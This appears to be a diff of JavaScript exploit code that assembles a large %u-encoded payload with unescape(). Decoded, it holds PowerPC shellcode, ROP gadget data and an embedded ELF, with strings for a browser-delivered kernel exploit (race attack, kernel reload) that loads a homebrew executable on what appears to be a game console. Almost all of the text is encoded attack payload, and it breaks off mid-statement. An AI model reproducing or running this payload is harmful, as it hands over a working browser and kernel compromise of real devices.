unescape("%u38c1%u0068%u38e1%u006c%u3900%u0000%u9121%u006c%u9121%u0068%u4bff%ufa01%u7c64%u1b79%u41a2%u001c%u8061%u006c%u8121%u0008%u80a1%u0068%u3c63%uc000%u7c89%u2214%u4bff%ue0dd%u8081%u0008%u3ca0%u0180"); - str += unescape("%u3920%u0000%u3861%u0008%u38a5%u3495%u38c1%u0044%u38e1%u0064%u3900%u0000%u9121%u0064%u9121%u0044%u4bff%uf9b5%u7c64%u1b79%u41a2%u001c%u8061%u0064%u8121%u0008%u80a1%u0044%u3c63%uc000%u7c89%u2214"); - str += unescape("%u4bff%ue091%u3c60%uffea%u3c80%u0180%u6063%ua1b8%u3884%u0058%u4bff%ueb31%u3c60%uffe8%u3c80%ufff0%u6063%u4d40%u6084%u2274%u4bff%ueb1d%u3c60%uffe8%u3c80%ufff0%u6063%u5140%u6084%u2274%u4bff%ueb09"); - str += unescape("%u3c60%uffe8%u3c80%ufff0%u6063%u5540%u6084%u2274%u4bff%ueaf5%u3c60%uffea%u3c80%ufff0%u6063%u9db0%u6084%u2274%u4bff%ueae1%u3c60%uffe8%u3c80%ufff0%u6063%u4d44%u6084%u2294%u4bff%ueacd%u3c60%uffe8"); - str += unescape("%u3c80%ufff0%u6063%u5144%u6084%u2294%u4bff%ueab9%u3c60%uffe8%u3c80%ufff0%u6063%u5544%u6084%u2294%u4bff%ueaa5%u3c60%uffea%u3c80%ufff0%u6063%u9db4%u6084%u2294%u4bff%uea91%u4bff%udfe5%u8121%u0014"); - str += unescape("%u3880%u0000%u38a0%u0020%u7d29%u03a6%u3861%u0044%u4e80%u0421%u3c60%uc080%u3920%u0214%u6063%u1404%u3881%u0064%u38a0%u0004%u9121%u0064%u4bff%udfa5%u3d20%udead%u3c60%uc080%u6129%uc0de%u6063%u1400"); - str += unescape("%u3881%u0064%u38a0%u0004%u9121%u0064%u4bff%udf85%u3c60%uc080%u3881%u0064%u6063%u1300%u38a0%u0004%u4bff%udf71%u3c60%uc080%u3920%u0000%u6063%u1304%u3881%u0064%u38a0%u0004%u9121%u0064%u4bff%udf55"); - str += unescape("%u3d20%u0102%u3c60%uc080%u6129%ua31c%u6063%u1500%u9121%u0044%u3d20%u0102%u6129%ub790%u3881%u0044%u9121%u0048%u3d20%uffe8%u6129%u4c70%u38a0%u0020%u9121%u0050%u3d20%uffe8%u6129%u5070%u9121%u0054"); - str += unescape("%u3d20%uffe8%u6129%u5470%u9121%u0058%u3d20%uffea%u6129%u9ce0%u9121%u005c%u3d20%uffea%u6129%ua0e0%u9121%u0060%u3d20%u1005%u6129%ud180%u9121%u004c%u4bff%udee1%u8121%u0008%u3c60%uc201%u38a0%u0004"); - str += unescape("%u6063%uc55c%u8129%u0018%u3881%u0064%u5529%u01ba%u6529%u4800%u6129%u0003%u9121%u0064%u4bff%udeb5%u8121%u0028%u3c60%u0101%u3880%u0004%u6063%uc55c%u7d29%u03a6%u4e80%u0421%u8121%u0020%u7fe3%ufb78"); - str += unescape("%u7d29%u03a6%u4e80%u0421%u8121%u0020%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u8121%u002c%u7d29%u03a6%u4e80%u0421%u3961%u00a0%u4800%u0044%u81cb%uffb8%u81eb%uffbc%u820b%uffc0%u822b%uffc4%u824b%uffc8"); - str += unescape("%u826b%uffcc%u828b%uffd0%u82ab%uffd4%u82cb%uffd8%u82eb%uffdc%u830b%uffe0%u832b%uffe4%u834b%uffe8%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u800b%u0004%u83eb%ufffc%u7c08%u03a6%u7d61%u5b78"); - str += unescape("%u4e80%u0020%u801f%u0000%u7c09%u03a6%u4e80%u0421%u83ff%u0004%u2c1f%u0000%u4082%uffec%u8001%u0014%u83e1%u000c%u7c08%u03a6%u3821%u0010%u4e80%u0020%u8061%u0008%u8081%u000c%u8001%u0014%u7c08%u03a6"); - str += unescape("%u3821%u0010%u4e80%u0020%u80a1%u0008%u3821%u0010%u7ca3%u2b78%u8081%u0004%u7c88%u03a6%u4e80%u0020%u80c1%u0014%u9061%u0010%u8001%u0010%u915e%u002c%u8121%u0008%u901e%u0030%u913e%u0028%u90de%u0034"); - str += unescape("%u8001%u0034%u83e1%u002c%u7c08%u03a6%u83c1%u0028%u3821%u0030%u4e80%u0020%u8001%u0034%u83e1%u002c%u7c08%u03a6%u83c1%u0028%u3821%u0030%u4e80%u0020%u3800%u3200%u4400%u0002%u4e80%u0020%u3800%u3300"); - str += unescape("%u4400%u0002%u4e80%u0020%u3800%u4700%u4400%u0002%u4e80%u0020%u3800%u4800%u4400%u0002%u4e80%u0020%u6d65%u6d73%u6574%u004f%u5341%u6c6c%u6f63%u4672%u6f6d%u5379%u7374%u656d%u004f%u5346%u7265%u6554"); - str += unescape("%u6f53%u7973%u7465%u6d00%u494d%u5f53%u6574%u4465%u7669%u6365%u5374%u6174%u6500%u494d%u5f43%u6c6f%u7365%u0049%u4d5f%u4f70%u656e%u004f%u5353%u6372%u6565%u6e50%u7574%u466f%u6e74%u4578%u004f%u5353"); - str += unescape("%u6372%u6565%u6e43%u6c65%u6172%u4275%u6666%u6572%u4578%u0044%u4346%u6c75%u7368%u5261%u6e67%u6500%u4f53%u5363%u7265%u656e%u466c%u6970%u4275%u6666%u6572%u7345%u7800%u4f53%u5363%u7265%u656e%u4765"); - str += unescape("%u7442%u7566%u6665%u7253%u697a%u6545%u7800%u4f53%u5363%u7265%u656e%u496e%u6974%u004f%u5353%u6372%u6565%u6e53%u6574%u4275%u6666%u6572%u4578%u004f%u5344%u7269%u7665%u7220%u4b65%u726e%u656c%u2045"); - str += unescape("%u7870%u6c6f%u6974%u005f%u4578%u6974%u004f%u5343%u7265%u6174%u6554%u6872%u6561%u6400%u4f53%u5265%u7375%u6d65%u5468%u7265%u6164%u004f%u5349%u7354%u6872%u6561%u6454%u6572%u6d69%u6e61%u7465%u6400"); - str += unescape("%u4761%u6467%u6574%u206e%u6f74%u2066%u6f75%u6e64%u2100%u636f%u7265%u696e%u6974%u0073%u7973%u6170%u7000%u6d65%u6d63%u7079%u0044%u4349%u6e76%u616c%u6964%u6174%u6552%u616e%u6765%u0049%u4349%u6e76"); - str += unescape("%u616c%u6964%u6174%u6552%u616e%u6765%u004f%u5347%u6574%u5468%u7265%u6164%u5072%u696f%u7269%u7479%u004f%u5347%u6574%u4375%u7272%u656e%u7454%u6872%u6561%u6400%u4f53%u5969%u656c%u6454%u6872%u6561"); - str += unescape("%u6400%u5f5f%u5050%u4345%u7869%u7400%u5359%u5353%u7769%u7463%u6854%u6f42%u726f%u7773%u6572%u0053%u5953%u4c61%u756e%u6368%u5365%u7474%u696e%u6773%u0046%u6169%u6c65%u6420%u746f%u2063%u7265%u6174"); - str += unescape("%u6520%u7468%u7265%u6164%u7321%u2050%u6c65%u6173%u6520%u7472%u7920%u6167%u6169%u6e2e%u0052%u756e%u6e69%u6e67%u2045%u7870%u6c6f%u6974%u2e2e%u2e00%u4f53%u536c%u6565%u7054%u6963%u6b73%u0044%u5256"); - str += unescape("%u4100%u4452%u5642%u0052%u6567%u6973%u7465%u7228%u2920%u6f66%u2064%u7269%u7665%u7220%u4120%u616e%u6420%u4220%u6661%u696c%u6564%u2120%u5265%u6c6f%u6164%u696e%u6720%u6b65%u726e%u656c%u2e2e%u2e00"); - str += unescape("%u4661%u696c%u6564%u2074%u6f20%u616c%u6c6f%u6361%u7465%u2070%u6179%u6c6f%u6164%u2120%u5265%u6c6f%u6164%u696e%u6720%u6b65%u726e%u656c%u2e2e%u2e00%u4452%u5648%u4158%u0052%u6163%u6520%u6174%u7461"); - str += unescape("%u636b%u2066%u6169%u6c65%u6421%u2052%u656c%u6f61%u6469%u6e67%u206b%u6572%u6e65%u6c2e%u2e2e%u0046%u6169%u6c65%u6420%u746f%u2066%u696e%u6420%u4452%u5641%u206f%u7220%u4452%u5648%u4158%u2120%u5265"); - str += unescape("%u6c6f%u6164%u696e%u6720%u6b65%u726e%u656c%u2e2e%u2e00%u0000%u7f45%u4c46%u0102%u0100%u0000%u0000%u0000%u0000%u0002%u0014%u0000%u0001%u0080%u04d0%u0000%u0034%u0000%u0bd0%u0000%u0000%u0034%u0020"); - str += unescape("%u0001%u0028%u0004%u0003%u0000%u0001%u0000%u0054%u0080%u0000%u0080%u0000%u0000%u0b64%u0000%u0b64%u0000%u0005%u0000%u0004%u7ca8%u02a6%u7ca9%u03a6%u7ce8%u03a6%u7cb0%u8aa6%u7cba%u8ba6%u7cb1%u8aa6"); - str += unescape("%u7cbb%u8ba6%u80a3%u0034%u80c3%u0038%u80e3%u003c%u8103%u0040%u8123%u0044%u8143%u0048%u8163%u004c%u8063%u0050%u4c00%u012c%u7ca7%u01a4%u4e80%u0420%u7c08%u02a6%u9421%uffe0%ubf61%u000c%u7c9f%u2378"); - str += unescape("%u9001%u0024%u83c4%u001c%u2f9e%u0000%u40be%u000c%u3860%u0000%u4800%u0180%ua124%u002c%u2f89%u0000%u41be%ufff0%ua124%u002a%u2f89%u0020%u409e%uffe4%u7c7d%u1b78%u7fc4%uf214%u3b80%u0000%ua13f%u002c"); - str += unescape("%u7f9c%u4800%u409c%u0084%u813e%u0000%u2f89%u0001%u40be%u006c%u80be%u0010%u813e%u0014%u7f85%u4840%u41bd%uffb0%u2f85%u0000%u41be%u0054%u837e%u000c%u813d%u0008%u809e%u0004%u7f63%udb78%u7d29%u03a6"); - str += unescape("%u7c9f%u2214%u4e80%u0421%u813d%u0014%u7f63%udb78%u809e%u0010%u7d29%u03a6%u4e80%u0421%u813e%u0018%u712a%u0001%u41a2%u0018%u813d%u0018%u807e%u000c%u809e%u0014%u7d29%u03a6%u4e80%u0421%u3b9c%u0001"); - str += unescape("%u3bde%u0020%u4bff%uff78%u837f%u0020%u3b80%u0000%u7f7f%uda14%u7f7e%udb78%ua13f%u0030%u7f9c%u4800%u409c%u00b0%ua15f%u0032%u813e%u0000%u1d4a%u0028%u7d5b%u5214%u814a%u0010%u7d49%u5214%u7d3f%u5214"); - str += unescape("%u7d5f%u50ae%u2f8a%u002e%u40be%u007c%u8949%u0001%u2b8a%u0062%u40be%u0018%u8949%u0002%u2f8a%u0073%u40be%u0064%u8929%u0003%u4800%u0028%u2b8a%u0073%u40be%u0054%u8949%u0002%u2f8a%u0062%u40be%u0048"); - str += unescape("%u8949%u0003%u2f8a%u0073%u40be%u003c%u8929%u0004%u2f89%u0073%u40be%u0030%u813d%u000c%u3880%u0000%u807e%u000c%u7d29%u03a6%u80be%u0014%u4e80%u0421%u813d%u0014%u807e%u000c%u809e%u0014%u7d29%u03a6"); - str += unescape("%u4e80%u0421%u3b9c%u0001%u3bde%u0028%u4bff%uff4c%u807f%u0018%u3961%u0020%u4800%u0734%u7c08%u02a6%u9421%ufbe8%u3920%uffff%u9121%u03ec%u9001%u041c%ubf21%u03fc%u7c7f%u1b78%u8123%u0000%u7c99%u2378"); - str += unescape("%u3860%u1700%u3880%u0004%u7d29%u03a6%u7cba%u2b78%u4e80%u0421%u7c7e%u1b79%u4182%u0294%u813f%u0000%u3860%u0a80%u3880%u0004%u7d29%u03a6%u4e80%u0421%u7c7d%u1b79%u40a2%u0018%u813f%u0004%u7fc3%uf378"); - str += unescape("%u7d29%u03a6%u4e80%u0421%u4800%u0264%u813f%u0024%u7d29%u03a6%u4e80%u0421%u813f%u0030%u7fa3%ueb78%u7d29%u03a6%u4e80%u0421%u813f%u0028%u3880%u0000%u38a0%uffff%u7d29%u03a6%u7fc3%uf378%u4e80%u0421"); - str += unescape("%u813f%u0034%u7fc3%uf378%u7fa4%ueb78%u38a0%u0000%u38c1%u0008%u38e0%uffff%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u419e%u0014%u3c60%u0080%u813f%u0010%u3863%u0948%u4800%u003c%u813f%u0038%u7fc3%uf378"); - str += unescape("%u7fa4%ueb78%u38a1%u0008%u38c1%u0308%u38e0%u0080%u3900%uffff%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u419e%u001c%u3c60%u0080%u813f%u0010%u3863%u0961%u7d29%u03a6%u4e80%u0421%u4800%u0178%u813f%u0040"); - str += unescape("%u3ca0%u0080%u3cc0%u0080%u7fc3%uf378%u7fa4%ueb78%u38a5%u0972%u38c6%u09aa%u38e1%u03ec%u3900%uffff%u7d29%u03a6%u4e80%u0421%u2c03%u0000%u4182%u0024%u813f%u003c%u7fc3%uf378%u7fa4%ueb78%u38a1%u0308"); - str += unescape("%u38c0%uffff%u7d29%u03a6%u4e80%u0421%u4800%u0124%u813f%u0044%u7fa4%ueb78%u9061%u0398%u38c1%u0388%u7fc3%uf378%u80a1%u03ec%u38e0%uffff%u7d29%u03a6%u4e80%u0421%u8061%u0398%u2f83%u0000%u41be%u0024"); - str += unescape("%u813f%u0000%u3863%u003f%u5463%u0032%u3880%u0040%u7d29%u03a6%u4e80%u0421%u7c7b%u1b79%u40a2%u001c%u813f%u0010%u3c60%u0080%u3863%u09ac%u3b60%u0000%u7d29%u03a6%u4e80%u0421%u3b80%u0000%u80e1%u0398"); - str += unescape("%u7f9c%u3840%u409c%u0038%u817f%u0048%u7fc3%uf378%u7fa4%ueb78%u7cbb%ue214%u38c0%u0001%u7cfc%u3850%u8101%u03ec%u3920%u0000%u3940%uffff%u7d69%u03a6%u4e80%u0421%u2c03%u0000%u41a1%u0028%u8121%u0398"); - str += unescape("%u7f9c%u4800%u419e%u0024%u813f%u0004%u7f63%udb78%u3b80%u0000%u7d29%u03a6%u4e80%u0421%u4800%u0018%u7f9c%u1a14%u4bff%uff98%u9379%u0000%u939a%u0000%u3b80%u0001%u813f%u004c%u7fa4%ueb78%u80a1%u03ec"); - str += unescape("%u7fc3%uf378%u7d29%u03a6%u38c0%uffff%u4e80%u0421%u813f%u003c%u7fc3%uf378%u7fa4%ueb78%u38a1%u0308%u38c0%uffff%u7d29%u03a6%u4e80%u0421%u4800%u0008%u3b80%u0000%u813f%u002c%u7fc3%uf378%u7d29%u03a6"); - str += unescape("%u4e80%u0421%u813f%u0004%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u813f%u0004%u7fa3%ueb78%u7d29%u03a6%u4e80%u0421%u7f83%ue378%u4800%u0008%u3860%u0000%u3961%u0418%u4800%u0450%u7c08%u02a6%u9421%uff70"); - str += unescape("%u3d20%u0080%u6129%u1500%ubec1%u0068%u9001%u0094%u7c79%u1b78%u3c60%u0080%u7c9a%u2378%u83c9%u0000%u3881%u0064%u3863%u09cc%u83e9%u0004%u7fc9%u03a6%u3fa0%u0080%u3f80%udead%u3ee0%u0080%u3ec0%u0080"); - str += unescape("%u63bd%u1300%u639c%uc0de%u3b60%u0000%u4e80%u0421%u3920%u0000%u3ca0%u0080%u7fe9%u03a6%u9121%u0060%u3880%u0001%u38a5%u09d5%u38c1%u0060%u8061%u0064%u3af7%u0b28%u3ad6%u0aeb%u4e80%u0421%u8121%u0060"); - str += unescape("%u3ca0%u0080%u7fe9%u03a6%u8129%u0000%u3880%u0001%u38a5%u09ef%u38c1%u0060%u9121%u0008%u8061%u0064%u4e80%u0421%u8121%u0060%u3ca0%u0080%u7fe9%u03a6%u8129%u0000%u3880%u0000%u38a5%u0a04%u38c1%u0010"); - str += unescape("%u9121%u000c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a0b%u38c1%u0014%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a12%u38c1%u0018%u8061%u0064"); - str += unescape("%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a1a%u38c1%u001c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a27%u38c1%u0020%u8061%u0064%u4e80%u0421%u3ca0%u0080"); - str += unescape("%u7fe9%u03a6%u3880%u0000%u38a5%u0a39%u38c1%u0024%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a47%u38c1%u0028%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000"); - str += unescape("%u38a5%u0a4c%u38c1%u002c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a53%u38c1%u0030%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a61%u38c1%u0034"); - str += unescape("%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a6d%u38c1%u0038%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a7c%u38c1%u003c%u8061%u0064%u4e80%u0421"); - str += unescape("%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a8d%u38c1%u0040%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a95%u38c1%u0044%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6"); - str += unescape("%u3880%u0000%u38a5%u0a9f%u38c1%u0048%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0aaa%u38c1%u004c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0ab8"); - str += unescape("%u38c1%u0050%u8061%u0064%u4e80%u0421%u3ca0%u0080%u38a5%u0ac3%u38c1%u0054%u7fe9%u03a6%u3880%u0000%u8061%u0064%u4e80%u0421%u3c60%u0080%u7fc9%u03a6%u3881%u005c%u3863%u0acf%u3fc0%u0080%u63de%u1304"); - str += unescape("%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u8061%u005c%u3880%u0000%u38a5%u0ada%u38c1%u0058%u3fe0%u0080%u63ff%u1400%u4e80%u0421%u813d%u0000%u7f89%ue000%u419e%u0068%u813e%u0000%u2f89%u0000%u41be%u005c"); - str += unescape("%u8121%u0008%u3880%u0004%u807e%u0000%u7d29%u03a6%u4e80%u0421%u7c78%u1b79%u4182%u0038%u8121%u0010%u809d%u0000%u7d29%u03a6%u80be%u0000%u4e80%u0421%u3861%u0008%u7f04%uc378%u4bff%uf839%u8121%u000c"); - str += unescape("%u907f%u0000%u7f03%uc378%u7d29%u03a6%u4e80%u0421%u939d%u0000%u937e%u0000%u813f%u0000%u7f89%ue000%u419e%u0010%u813f%u0000%u2f89%u0000%u409e%u0068%u3881%u0060%u3861%u0008%u38a1%u005c%u9361%u0060"); - str += unescape("%u9361%u005c%u4bff%uf999%u8081%u0060%u7ec3%ub378%u2f84%u0000%u419e%u0030%u3861%u0008%u4bff%uf7d5%u8121%u000c%u907f%u0000%u7d29%u03a6%u8061%u0060%u4e80%u0421%u813f%u0000%u2f89%u0000%u409e%uff2c"); - str += unescape("%u7ee3%ubb78%u8121%u0018%u7d29%u03a6%u4e80%u0421%u4bff%uff18%u3d20%u0080%u7f44%ud378%u6129%u1400%u7f23%ucb78%u8129%u0000%u7d29%u03a6%u4e80%u0421%u3d20%u0080%u6129%u1500%u7f23%ucb78%u8129%u0008"); - str += unescape("%u7f44%ud378%u8129%u0000%u7d29%u03a6%u4e80%u0421%u3961%u0090%u4800%u0024%u81cb%uffb8%u81eb%uffbc%u820b%uffc0%u822b%uffc4%u824b%uffc8%u826b%uffcc%u828b%uffd0%u82ab%uffd4%u82cb%uffd8%u82eb%uffdc"); - str += unescape("%u830b%uffe0%u832b%uffe4%u834b%uffe8%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u800b%u0004%u83eb%ufffc%u7c08%u03a6%u7d61%u5b78%u4e80%u0020%u4653%u4765%u744d%u6f75%u6e74%u536f%u7572%u6365"); - str += unescape("%u2066%u6169%u6c65%u642e%u0053%u4420%u6d6f%u756e%u7420%u6661%u696c%u6564%u2e00%u2f76%u6f6c%u2f65%u7874%u6572%u6e61%u6c30%u312f%u7769%u6975%u2f61%u7070%u732f%u6c6f%u6164%u6969%u6e65%u5f67%u7832"); - str += unescape("%u2f6c%u6f61%u6469%u696e%u655f%u6778%u322e%u656c%u6600%u7200%u4e6f%u7420%u656e%u6f75%u6768%u206d%u656d%u6f72%u7920%u666f%u7220%u454c%u4620%u6669%u6c65%u2e00%u636f%u7265%u696e%u6974%u004d%u454d"); - str += unescape("%u416c%u6c6f%u6346%u726f%u6d44%u6566%u6175%u6c74%u4865%u6170%u4578%u004d%u454d%u4672%u6565%u546f%u4465%u6661%u756c%u7448%u6561%u7000%u6d65%u6d63%u7079%u006d%u656d%u7365%u7400%u4f53%u4661%u7461"); - str += unescape("%u6c00%u4443%u466c%u7573%u6852%u616e%u6765%u0049%u4349%u6e76%u616c%u6964%u6174%u6552%u616e%u6765%u005f%u5f6f%u735f%u736e%u7072%u696e%u7466%u0065%u7869%u7400%u4653%u496e%u6974%u0046%u5341%u6464"); - str += unescape("%u436c%u6965%u6e74%u4578%u0046%u5344%u656c%u436c%u6965%u6e74%u0046%u5349%u6e69%u7443%u6d64%u426c%u6f63%u6b00%u4653%u4765%u744d%u6f75%u6e74%u536f%u7572%u6365%u0046%u534d%u6f75%u6e74%u0046%u5355"); - str += unescape("%u6e6d%u6f75%u6e74%u0046%u534f%u7065%u6e46%u696c%u6500%u4653%u4765%u7453%u7461%u7446%u696c%u6500%u4653%u5265%u6164%u4669%u6c65%u0046%u5343%u6c6f%u7365%u4669%u6c65%u0073%u7973%u6170%u702e%u7270"); - str += unescape("%u6c00%u5359%u5352%u656c%u6175%u6e63%u6854%u6974%u6c65%u0043%u6f75%u6c64%u206e%u6f74%u206c%u6f61%u6420%u6669%u6c65%u202f%u7769%u6975%u2f61%u7070%u732f%u6c6f%u6164%u6969%u6e65%u5f67%u7832%u2f6c"); - str += unescape("%u6f61%u6469%u696e%u655f%u6778%u322e%u656c%u6600%u4661%u696c%u6564%u2074%u6f20%u6c6f%u6164%u2045%u4c46%u202f%u7769%u6975%u2f61%u7070%u732f%u6c6f%u6164%u6969%u6e65%u5f67%u7832%u2f6c%u6f61%u6469"); - str += unescape("%u696e%u655f%u6778%u322e%u656c%u6600%u002e%u7368%u7374%u7274%u6162%u002e%u7465%u7874%u002e%u6461%u7461%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000"); - str += unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u000b%u0000%u0001%u0000%u0006%u0080%u0000%u0000%u0054%u0000%u0948%u0000%u0000%u0000%u0000%u0000%u0004%u0000%u0000%u0000%u0011%u0000%u0001%u0000%u0032"); - str += unescape("%u0080%u0948%u0000%u099c%u0000%u021c%u0000%u0000%u0000%u0000%u0000%u0001%u0000%u0001%u0000%u0001%u0000%u0003%u0000%u0000%u0000%u0000%u0000%u0bb8%u0000%u0017%u0000%u0000%u0000%u0000%u0000%u0001"); - str += unescape("%u0000%u0000%u4f53%u5363%u7265%u656e%u496e%u6974%u004f%u5353%u6372%u6565%u6e47%u6574%u4275%u6666%u6572%u5369%u7a65%u4578%u004f%u5353%u6372%u6565%u6e53%u6574%u4275%u6666%u6572%u4578%u004f%u5353"); - str += unescape("%u6372%u6565%u6e43%u6c65%u6172%u4275%u6666%u6572%u4578%u004f%u5353%u6372%u6565%u6e46%u6c69%u7042%u7566%u6665%u7273%u4578%u004f%u5353%u6372%u6565%u6e50%u7574%u466f%u6e74%u4578%u0073%u7973%u6170"); - str += unescape("%u702e%u7270%u6c00%u5f53%u5953%u4c61%u756e%u6368%u4d69%u6953%u7475%u6469%u6f00%u496e%u7661%u6c69%u6420%u656c%u6620%u6669%u6c65%u0063%u6f72%u6569%u6e69%u742e%u7270%u6c00%u6d65%u6d73%u6574%u004d"); - str += unescape("%u454d%u416c%u6c6f%u6346%u726f%u6d44%u6566%u6175%u6c74%u4865%u6170%u4578%u004d%u454d%u4672%u6565%u546f%u4465%u6661%u756c%u7448%u6561%u7000%u6d65%u6d63%u7079%u004f%u5345%u6666%u6563%u7469%u7665"); - str += unescape("%u546f%u5068%u7973%u6963%u616c%u0044%u4346%u6c75%u7368%u5261%u6e67%u6500%u4943%u496e%u7661%u6c69%u6461%u7465%u5261%u6e67%u6500%u5f45%u7869%u7400%u494d%u5f4f%u7065%u6e00%u494d%u5f43%u6c6f%u7365"); - str += unescape("%u0049%u4d5f%u5365%u7444%u6576%u6963%u6553%u7461%u7465%u004f%u5341%u6c6c%u6f63%u4672%u6f6d%u5379%u7374%u656d%u004f%u5346%u7265%u6554%u6f53%u7973%u7465%u6d00%u4e6f%u7420%u656e%u6f75%u6768%u206d"); - str += unescape("%u656d%u6f72%u792e%u2045%u7869%u7420%u616e%u6420%u7265%u2d65%u6e74%u6572%u2062%u726f%u7773%u6572%u2e00%u4f53%u4372%u6561%u7465%u5468%u7265%u6164%u004f%u5352%u6573%u756d%u6554%u6872%u6561%u6400"); - str += unescape("%u4f53%u4973%u5468%u7265%u6164%u5465%u726d%u696e%u6174%u6564%u0054%u6872%u6561%u6420%u6d65%u6d6f%u7279%u2061%u6c6c%u6f63%u6174%u696f%u6e20%u6661%u696c%u6564%u2e20%u4578%u6974%u2061%u6e64%u2072"); - str += unescape("%u652d%u656e%u7465%u7220%u6272%u6f77%u7365%u722e%u0046%u6169%u6c65%u6420%u746f%u2063%u7265%u6174%u6520%u7468%u7265%u6164%u2e20%u4578%u6974%u2061%u6e64%u2072%u652d%u656e%u7465%u7220%u6272%u6f77"); - str += unescape("%u7365%u722e%u002e%u7465%u7874%u002e%u726f%u6461%u7461%u002e%u6461%u7461%u002e%u6273%u7300%u0000%u0000%u003c%u0000%u0000%u017a%u5200%u047c%u4101%u1b0c%u0100%u0d0b%u1141%u7f8e%u128f%u1190%u1091"); - str += unescape("%u0f92%u0e93%u0d94%u0c95%u0b96%u0a97%u0998%u0899%u079a%u069b%u059c%u049d%u039e%u029f%u0100%u0000%u0000%u0038%u0000%u0044%uffff%uecc4%u0000%u0058%u0041%uce41%ucf41%ud041%ud141%ud241%ud341%ud441"); - str += unescape("%ud541%ud641%ud741%ud841%ud941%uda41%udb41%udc41%udd41%ude42%udf41%u0641%u410d%u0100%u0000%u351c%u0000%u3520%u0000%u3524%u0000%u3528%u0000%u352c%u0000%u3530%u0000%u3534%u0000%u3538%u0000%u353c"); + str += unescape("%u7ff9%u83a6%u7c00%u06ac%u4c00%u012c%u4c00%u0064%u7c08%u02a6%u9421%uffe0%u3d20%u0102%u3ca0%u0180%u6129%ub790%u93e1%u001c%u9001%u0024%u7c9f%u2378%u38a5%u1c6c%u3880%u0000%u38c1%u0008%u7d29%u03a6"); + str += unescape("%u4e80%u0421%u2f9f%u0000%u419e%u0018%u8121%u0008%u3bff%uffff%u7d29%u03a6%u4e80%u0421%u4bff%uffe8%u3961%u0020%u4800%u191c%u9421%uffc8%u7c08%u02a6%u3ca0%u0180%u3880%u0000%ubfa1%u002c%u3fc0%u0102"); + str += unescape("%u63de%ub790%u9001%u003c%u7fc9%u03a6%u38a5%u1c7a%u38c1%u001c%u7c7f%u1b78%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u7fe3%ufb78%u3880%u0000%u38a5%u1c81%u38c1%u0018%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6"); + str += unescape("%u7fe3%ufb78%u3880%u0000%u38a5%u1c93%u38c1%u0014%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u7fe3%ufb78%u3880%u0000%u38a5%u1ca2%u38c1%u0010%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u7fe3%ufb78%u3880%u0000"); + str += unescape("%u38a5%u1cb4%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38c1%u0008%u38a5%u1cbd%u3880%u0000%u7fc9%u03a6%u7fe3%ufb78%u4e80%u0421%u8121%u0008%u7d29%u03a6%u4e80%u0421%u8121%u0018%u7c7d%u1b78%u3880%u0040"); + str += unescape("%u7d29%u03a6%u3860%u0100%u4e80%u0421%u8121%u001c%u3880%u0000%u38a0%u0100%u7d29%u03a6%u7c7e%u1b78%u4e80%u0421%u8121%u0010%u7fc4%uf378%u38a0%u0003%u38c0%u0000%u38e0%u0000%u7d29%u03a6%u7fa3%ueb78"); + str += unescape("%u4e80%u0421%u8121%u000c%u7fa3%ueb78%u7d29%u03a6%u4e80%u0421%u8121%u0014%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u3c80%u0003%u7fe3%ufb78%u6084%uffff%u4bff%ufe61%u3961%u0038%u4800%u17c0%u9421%uffd8"); + str += unescape("%u7c08%u02a6%u3d20%u0102%ubfa1%u001c%u6129%ub790%u7cbe%u2b78%u3ca0%u0180%u9001%u002c%u7c9d%u2378%u7cdf%u3378%u7d29%u03a6%u3880%u0000%u38a5%u1cc5%u38c1%u0008%u4e80%u0421%u8121%u0008%u7fa4%ueb78"); + str += unescape("%u7fc5%uf378%u7d29%u03a6%u7fe6%ufb78%u3860%u0000%u4e80%u0421%u8121%u0008%u3860%u0001%u7fa4%ueb78%u7fc5%uf378%u7fe6%ufb78%u7d29%u03a6%u4e80%u0421%u3961%u0028%u4800%u1744%u9421%uffd8%u7c08%u02a6"); + str += unescape("%u3d20%u0102%ubf81%u0018%u6129%ub790%u7cbd%u2b78%u3ca0%u0180%u9001%u002c%u38a5%u1cd7%u7d29%u03a6%u7c9e%u2378%u7cdc%u3378%u3880%u0000%u38c1%u0008%u7cff%u3b78%u579c%u402e%u57bd%u801e%u7f9f%ufb78"); + str += 